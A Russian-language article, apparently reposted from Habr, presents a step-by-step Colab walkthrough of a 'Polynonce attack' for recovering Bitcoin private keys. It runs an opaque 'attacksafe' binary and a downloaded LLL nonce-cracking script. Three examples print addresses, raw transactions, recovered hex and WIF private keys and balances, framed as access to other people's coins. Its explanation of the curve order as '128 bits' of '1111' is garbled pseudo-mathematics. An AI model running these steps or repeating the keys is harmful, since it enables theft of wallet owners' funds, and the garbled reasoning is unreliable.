Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»

В этой статье мы затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.

Благодаря статье портала “CRYPTO DEEP TECH” мы создали репозитория в GITHUB

Видео инструкция об утечке приватного ключа Биткоин Кошелька:

Пример №1 как на сумму $ 3699.40 получили приватный ключ к чужим монетам Bitcoin Wallet

Пример №2 как на сумму $ 1133.73 получили приватный ключ к чужим монетам Bitcoin Wallet

Пример №3 как на сумму $ 459.24 получили приватный ключ к чужим монетам Bitcoin Wallet

Видео инструкция из портала "CRYPTO DEEP TECH":

"POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа"

За практическую основу мы будем брать материалы из ранней статьи портала “CRYPTO DEEP TECH” “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.

Нам многое может открыть Binary number (4 digits): "1111" // Hex number: "F" //

Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю

Speed up secp256k1 with endomorphism

Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //

За теоретическую основу мы будем брать материалы:

“Polynonce Attack on Bitcoin”

Рассмотрим пример с Биткоин Адресом:

1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

RawTX

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

Перейдем на официальный сайт: https://colab.research.google.comВыберем опцию “Upload notebook”Загрузим файл: POLYNONCE_ATTACK.ipynbЗагрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение

“ATTACKSAFE SOFTWARE”

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE) — `www.attacksafe.ru/software`

Права доступа:

!chmod +x attacksafe

ls

Применение:

!./attacksafe -help

  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version

Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

!./attacksafe -list

Выберем -tool: polynonce_attack

Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

Запустим -tool

polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath

Ранее мы опубликовали статью, скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

Перейдем по каталогу:

cd SageMath/

ls

Запустим Python-script: relocate-once.py по команде:

!python3 relocate-once.py

Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

ls

Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py

Теперь запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //

Проверим HEX приватного ключа:

Установим модуль bitcoin

!pip3 install bitcoin

Запустим код:

from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл: PrivateKeyAddr.txt

Откроем bitaddress и проверим:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF:  L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX:  f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

BALANCE: $ 3699.40

Рассмотрим остальные примеры:

№2

Рассмотрим пример №2 с Биткоин Адресом:

137a6fqt13bhtAkGZWrgcGM98NLCotszR2

c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b

RawTX

010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Удалим файлы с первого примера:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл: PrivateKeyAddr.txt

Откроем bitaddress и проверим:

ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF:  L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX:  ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2

BALANCE: $ 1133.73

Рассмотрим остальные примеры:

№3

Рассмотрим пример №3 с Биткоин Адресом:

1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98

RawTX

01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000

Удалим файлы со второго примера:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл: PrivateKeyAddr.txt

Откроем bitaddress и проверим:

ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF:  L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX:  fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

BALANCE: $ 459.24

Literature:

A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)

Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)
Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)
Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0
Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014)

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/7nKs_KHtyn4

Источник: https://cryptodeep.ru/polynonce-attack

Источник: https://habr.com/ru/articles/754766/

Вернуться к списку

Интересные статьи

Репликация файлов через rsync: мониторинг с помощью Zabbix

В предыдущей статье мы рассказывали о том, как настроить и контролировать репликацию базы данных MySQL или MariaDB. Однако, если речь идет о создании отказоустойчивого интернет-магазина или аналогично...

Event sourcing+CQRS с помощью Spring

Пришел как-то на новый проект, а там Event sourcing+CQRS. Посмотре, как эта архитектура устроена тут и тут и очень вдохновился. На проекте были джава и спрингом, но архитектура настраивалась полностью...

Собираем интересные .NET блоги в Telegram-канал с помощью GitHub Actions

Будучи .NET разработчиком, я стараюсь периодически просматривать различные ресурсы, связанные с .NET тематикой. Как правило, это различные блоги. Иногда то тут, то там появляются какие-нибудь интересн...

Документирование API в Java приложении с помощью Swagger v3

Веб-приложение часто содержит API для взаимодействия с ним. Документирование API позволит клиентам быстрее понять, как использовать ваши сервисы. Если API закрыт от внешнего мира, то все ...

Распределенная компиляция C/C++ проектов с помощью ICECC

… Работаете вы, например, над очень большим проектом. Проект реально очень большой, написан на C или C++, и его билд «с нуля» может занять несколько часов, да и сборка после каких-то фиксов или...